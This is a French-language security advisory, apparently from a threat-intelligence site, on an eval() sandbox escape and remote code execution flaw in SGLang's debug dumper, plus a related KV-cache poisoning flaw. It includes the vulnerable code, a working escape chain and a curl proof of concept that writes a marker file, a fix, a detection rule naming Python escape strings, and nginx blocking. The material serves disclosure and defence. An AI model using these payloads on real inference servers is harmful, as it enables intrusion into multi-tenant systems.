Aller au contenu

CVE-2026-111391 : injection de code et RCE dans l'ordonnanceur GPU de SGLang via évasion du bac à sable eval() du debug dumper

Densité :
Synthèse Décisionnelle C-Level CVE-2026-111391 CRITICAL SCORE 95/100

Faille critique d'évasion de bac à sable Python eval() et d'exécution de code à distance dans SGLang 0.5.10 à 0.5.22. Lorsque DUMPER_SERVER_PORT est activé (y compris DUMPER_SERVER_PORT=reuse avec le niveau ADMIN_OPTIONAL), un attaquant peut soumettre un filtre malveillant à /dumper/configure qui remonte l'attribut re.search.__globals__['__builtins__'] dans _evaluate_filter(), exécutant du code arbitraire au sein de l'ordonnanceur GPU dès la passe d'inférence suivante.

HYBRID

SCORE DE MENACE HERMES & ÉVALUATION DU MOTEUR D'INFÉRENCE IA AGENTIQUE

Cible : Ordonnanceur SRT SGLang & sous-système Debug Dumper (python/sglang/srt/debug_utils/dumper.py)
Confiance : 99%
95 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 17 / 20
Militarisation 20 / 20
Exposition 18 / 20
Prévalence 18 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le standard CVSS v4.0 attribue un score de 9.2 (Critical) en raison de la condition de configuration (AT:P, nécessitant l'activation de DUMPER_SERVER_PORT). Le Hermes Threat Score élève la CVE-2026-111391 à 95 (CRITICAL) avec un Hermes Agentic Security Score (HASS) de 97 (EXTREME). SGLang est l'un des moteurs de service LLM et VLM à haut débit les plus déployés au cœur des clusters d'inférence multi-locataires et des architectures d'agents IA autonomes. Parce que la route /dumper/{method} est déclarée avec AuthLevel.ADMIN_OPTIONAL lorsque DUMPER_SERVER_PORT=reuse est actif, tout appelant non authentifié ou détenteur d'une simple clé d'API utilisateur peut injecter une charge Python persistante au sein de la boucle d'ordonnancement GPU — compromettant simultanément les prompts de tous les clients, les poids du modèle et le cache KV RadixAttention.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-111391: SGLang LLM Inference Engine Scheduler-Process Code Injection & RCE via Debug Dumper eval() Sandbox EscapeVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTSGLang Structured Generation & LLM Inference Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in SGLang Structured Generation & LLM Inference Engine documented in Hermes dossier.”

Preuves vérifiées associées :

Les 16 et 17 octobre 2026, VulnCheck et les chercheurs en sécurité de l’écosystème SGLang ont publié la CVE-2026-111391 (ticket GitHub #44188 / PR #44782), une vulnérabilité critique d’injection de code et d’évasion de bac à sable Python eval() (CWE-95) affectant SGLang (sgl-project/sglang) dans ses versions 0.5.10 à 0.5.22 incluse (score CVSS v4.0 de 9.2 Critical).

SGLang intègre un sous-système d’inspection des tenseurs et des états cachés à l’exécution (python/sglang/srt/debug_utils/dumper.py), conçu pour diagnostiquer les dérives numériques sur les clusters GPU distribués. Lorsque le serveur est démarré avec la variable DUMPER_SERVER_PORT — soit sur un port dédié, soit en mode DUMPER_SERVER_PORT=reuse pour partager le port HTTP principal du serveur de modèles — SGLang enregistre la route /dumper/{method} avec le niveau d’autorisation AuthLevel.ADMIN_OPTIONAL. Un attaquant distant non authentifié (ou muni d’un simple jeton d’API utilisateur standard) peut envoyer une requête POST /dumper/configure contenant une expression malveillante dans le champ filter. Dès la passe d’inférence suivante (POST /generate ou /v1/chat/completions), le processus d’ordonnancement GPU (scheduler) appelle _evaluate_filter(), qui évalue la chaîne via eval(filter_expr, {"__builtins__": {}}, namespace). Bien que le dictionnaire __builtins__ soit vidé, l’espace de noms local expose l’objet fonction re.search, permettant de remonter la chaîne search.__globals__['__builtins__']['__import__'] et d’obtenir une exécution de code à distance (RCE) totale au cœur du processus GPU.


Cause racine 1 : contournement de la frontière d’autorisation (AuthLevel.ADMIN_OPTIONAL)

Section intitulée « Cause racine 1 : contournement de la frontière d’autorisation (AuthLevel.ADMIN_OPTIONAL) »

Dans python/sglang/srt/entrypoints/http_server.py, lorsque DUMPER_SERVER_PORT=reuse est configuré, SGLang monte le point de terminaison /dumper/{method} directement sur l’application FastAPI principale :

# python/sglang/srt/entrypoints/http_server.py:886-887
@app.api_route("/dumper/{method}", methods=["POST"])
@auth_level(AuthLevel.ADMIN_OPTIONAL)
async def dumper_handle_request(method: str, request: Request):
...

En raison du décorateur AuthLevel.ADMIN_OPTIONAL (au lieu de AuthLevel.ADMIN_REQUIRED), le middleware d’authentification traite /dumper/configure comme une simple requête d’inférence. Si le serveur est lancé avec --api-key user-secret sans clé --admin-api-key distincte, n’importe quel client d’inférence ordinaire peut reconfigurer dynamiquement le dumper de débogage.

Cause racine 2 : évasion du bac à sable eval() via re.search.__globals__

Section intitulée « Cause racine 2 : évasion du bac à sable eval() via re.search.__globals__ »

Dans python/sglang/srt/debug_utils/dumper.py, la méthode _Dumper.configure() met à jour l’objet self._config directement à partir du corps JSON reçu (self._config = replace(self._config, **kwargs)), enregistrant ainsi la chaîne filter contrôlée par l’attaquant.

À chaque passe avant (forward pass) du modèle, _dump_inner() vérifie si le tenseur courant correspond au filtre en appelant _evaluate_filter(f, tags) :

# CODE VULNÉRABLE : python/sglang/srt/debug_utils/dumper.py (SGLang 0.5.10 à 0.5.22)
_FILTER_BUILTINS = {
"search": re.search,
"match": re.match,
"len": len,
"str": str,
"int": int,
"float": float,
"bool": bool,
}
def _evaluate_filter(filter_expr: str, tags: dict[str, Any]) -> bool:
namespace = _DefaultNoneDict(tags)
namespace.update(_FILTER_BUILTINS)
# FAILLE (CWE-95) : vider __builtins__ ne sécurise pas eval() lorsque des
# objets fonctions Python comme re.search sont exposés dans namespace !
return bool(eval(filter_expr, {"__builtins__": {}}, namespace))

En CPython, tout objet fonction (types.FunctionType) possède un attribut spécial __globals__ qui pointe vers le dictionnaire global du module dans lequel cette fonction a été définie. Puisque re.search est définie en Python dans le module standard re, l’attribut search.__globals__ donne un accès direct à l’espace global du module re, lequel contient la référence intacte vers "__builtins__" :

# Chaîne de traversée d'attributs depuis eval() vers l'exécution de commandes OS :
search.__globals__['__builtins__']['__import__']('os').system('id')
flowchart TD
subgraph Attacker["Attaquant distant / client API à faibles privilèges"]
Stage1["1. POST /dumper/configure<br/>Auth : aucune ou clé utilisateur standard (ADMIN_OPTIONAL)<br/>Charge : filter = search.__globals__['__builtins__']..."]
Stage2["2. POST /generate ou /v1/chat/completions<br/>Déclenche une passe avant du modèle"]
end
subgraph SGLang["Serveur d'inférence SGLang (0.5.10 <= v <= 0.5.22)"]
HTTP["Point d'entrée HTTP FastAPI<br/>(http_server.py :: dumper_handle_request)"]
Stage1 --> HTTP
HTTP -- "Diffusion IPC ZMQ" --> Config["_Dumper.configure()<br/>Enregistre filter_expr dans l'ordonnanceur"]
Stage2 --> Forward["Passe avant de l'ordonnanceur GPU<br/>(_dump_inner -> _evaluate_filter)"]
Config --> Forward
Forward --> Eval{"eval(filter_expr, {'__builtins__': {}}, namespace)<br/>Expose re.search dans _FILTER_BUILTINS (CWE-95)"}
Eval --> Escape["Traverse search.__globals__['__builtins__']['__import__']<br/>Exécution de code Python arbitraire dans le scheduler GPU"]
end
subgraph Impact["Compromission du cluster IA multi-locataires"]
Escape --> Weights["Exfiltration / altération des poids du modèle & adaptateurs LoRA"]
Escape --> KVCache["Inspection & empoisonnement du cache KV RadixAttention<br/>(Combiné à la CVE-2026-111392 mm_hashes)"]
end
style Eval fill:#ff4d4d,stroke:#990000,color:#ffffff
style Escape fill:#ff1a1a,stroke:#800000,color:#ffffff

Comme démontré dans le rapport technique #44188, un attaquant peut injecter une expression qui exécute du code arbitraire puis retourne False afin qu’aucun fichier de tenseur ne soit écrit sur le disque, garantissant une furtivité maximale :

Fenêtre de terminal
# Étape 1 : injection du filtre d'évasion de bac à sable via /dumper/configure
curl -sS -X POST http://target-sglang:30000/dumper/configure \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' \
-d '{
"enable": true,
"filter": "(search.__globals__[\"__builtins__\"][\"__import__\"](\"pathlib\").Path(\"/tmp/sglang-dumper-marker\").write_text(\"SGLANG_DUMPER_RCE\") > 0) and False"
}'
# Étape 2 : déclenchement d'une génération d'un seul jeton pour exécuter le filtre dans le scheduler GPU
curl -sS -X POST http://target-sglang:30000/generate \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' \
-d '{
"text": "trigger",
"sampling_params": {"max_new_tokens": 1, "temperature": 0}
}'
# Étape 3 : nettoyage de l'état du filtre en mémoire
curl -sS -X POST http://target-sglang:30000/dumper/reset \
-H 'Authorization: Bearer user-secret' \
-H 'Content-Type: application/json' -d '{}'

Remédiation par analyseur syntaxique abstrait (AST)

Section intitulée « Remédiation par analyseur syntaxique abstrait (AST) »

Pour éliminer la CVE-2026-111391 sans supprimer le filtrage de tenseurs, le correctif remplace l’appel dynamique eval() par un évaluateur d’arbre syntaxique abstrait (ast.parse(..., mode="eval")) qui interdit formellement tout accès aux attributs d’objets (ast.Attribute) ainsi que tout appel de fonction arbitraire :

# MODÈLE CORRIGÉ : évaluateur AST restreint (bloque CWE-95 et la traversée __globals__)
import ast
class _SafeFilterEvaluator(ast.NodeVisitor):
ALLOWED_NODES = (
ast.Expression, ast.BoolOp, ast.And, ast.Or, ast.UnaryOp, ast.Not,
ast.Compare, ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
ast.In, ast.NotIn, ast.Constant, ast.Name, ast.Load, ast.Tuple, ast.List
)
def visit(self, node: ast.AST):
if not isinstance(node, self.ALLOWED_NODES):
raise ValueError(f"Nœud AST interdit dans le filtre dumper : {type(node).__name__}")
return super().visit(node)

Vulnérabilité connexe : empoisonnement du cache KV multimodal via mm_hashes (CVE-2026-111392)

Section intitulée « Vulnérabilité connexe : empoisonnement du cache KV multimodal via mm_hashes (CVE-2026-111392) »

Parallèlement à la CVE-2026-111391, VulnCheck et l’équipe SGLang ont divulgué la CVE-2026-111392 (ticket GitHub #44641 / PR #44653), affectant SGLang 0.5.13 à 0.5.21 (CWE-345 : vérification insuffisante de l'authenticité des données).

Dans le pipeline multimodal Vision-Langage (VLM) de SGLang (python/sglang/srt/managers/tokenizer_manager.py et io_struct.py), le point de terminaison POST /generate acceptait directement le paramètre mm_hashes fourni par le client dans la requête JSON et l’utilisait comme clé d’indexation du cache de préfixes RadixAttention pour les représentations d’images. Sur un serveur d’inférence mutualisé, un attaquant pouvait :

  1. Empoisonner les réponses visuelles d’autres utilisateurs : envoyer une image altérée associée à un hachage mm_hashes cible via /generate, corrompant durablement les tenseurs d’attention Key-Value (KV) mis en cache pour toutes les requêtes ultérieures utilisant cette image.
  2. Exfiltrer le contenu d’images privées inter-locataires : soumettre un mm_hashes connu ou prédictible afin de forcer une correspondance (cache hit) sur les états KV d’une image préalablement soumise par un autre utilisateur, puis interroger le modèle pour en extraire les informations visuelles.

Investigation forensique et ingénierie de détection

Section intitulée « Investigation forensique et ingénierie de détection »

Les équipes de sécurité opérant des clusters d’inférence GPU (pods Kubernetes, nœuds Ray ou serveurs SGLang dédiés) doivent surveiller les appels HTTP vers /dumper/ et auditer les processus fils générés par sglang.launch_server ou sglang::scheduler. Consultez nos guides sur l’Analyse de la mémoire des processus linux et l’Injection indirecte de prompt pour approfondir la sécurisation des environnements d’exécution IA.

title: Injection de code et évasion de bac à sable dans SGLang Debug Dumper (CVE-2026-111391)
id: 4f8c2d19-1113-491b-a72e-sglang111391
status: experimental
description: Détecte les requêtes HTTP POST ciblant /dumper/configure dans SGLang ou contenant des charges utiles d'évasion Python (__globals__, __builtins__) exploitant la CVE-2026-111391.
references:
- https://vulncheck.com/advisories/sglang-0.5.10-through-0.5.22-code-injection-via-debug-dumper-filter
- https://github.com/sgl-project/sglang/issues/44188
author: Hermes Threat Intelligence
date: 2026/10/17
logsource:
category: webserver
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-stem|contains:
- '/dumper/configure'
- '/dumper/'
selection_payload:
request_body|contains:
- '__globals__'
- '__builtins__'
- '__import__'
- '__subclasses__'
condition: selection_endpoint or (selection_endpoint and selection_payload)
falsepositives:
- Développeurs de noyaux GPU exécutant un diagnostic de précision dans un environnement de laboratoire isolé
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006
- cve.2026-111391

  1. Mise à niveau immédiate de SGLang : Mettre à jour le paquet sglang vers la version 0.5.23 ou supérieure (qui corrige à la fois la CVE-2026-111391 dans dumper.py et la CVE-2026-111392 dans tokenizer_manager.py via les PR #44653 et #44782).
  2. Désactivation stricte de DUMPER_SERVER_PORT en production : Vérifier qu’aucune variable d’environnement DUMPER_SERVER_PORT ou SGLANG_DUMPER_* n’est définie dans les conteneurs Docker, chartes Helm Kubernetes ou déploiements Ray de production. Ne jamais utiliser DUMPER_SERVER_PORT=reuse sur un serveur d’inférence exposé.
  3. Filtrage des routes /dumper/* sur la passerelle API / proxy inverse : Bloquer explicitement tout accès externe aux routes de débogage sur Envoy, Nginx ou Kong :
    # Blocage de l'accès externe aux routes de débogage SGLang (CVE-2026-111391)
    location ~* ^/dumper/ {
    deny all;
    return 403;
    }
  4. Séparation stricte des clés --admin-api-key et --api-key : Lors de l’activation de l’authentification sur SGLang, toujours spécifier une clé --admin-api-key distincte des jetons clients --api-key afin d’empêcher les utilisateurs d’inférence d’accéder aux routes d’administration.

Liens croisés et maillage du graphe de connaissances

Section intitulée « Liens croisés et maillage du graphe de connaissances »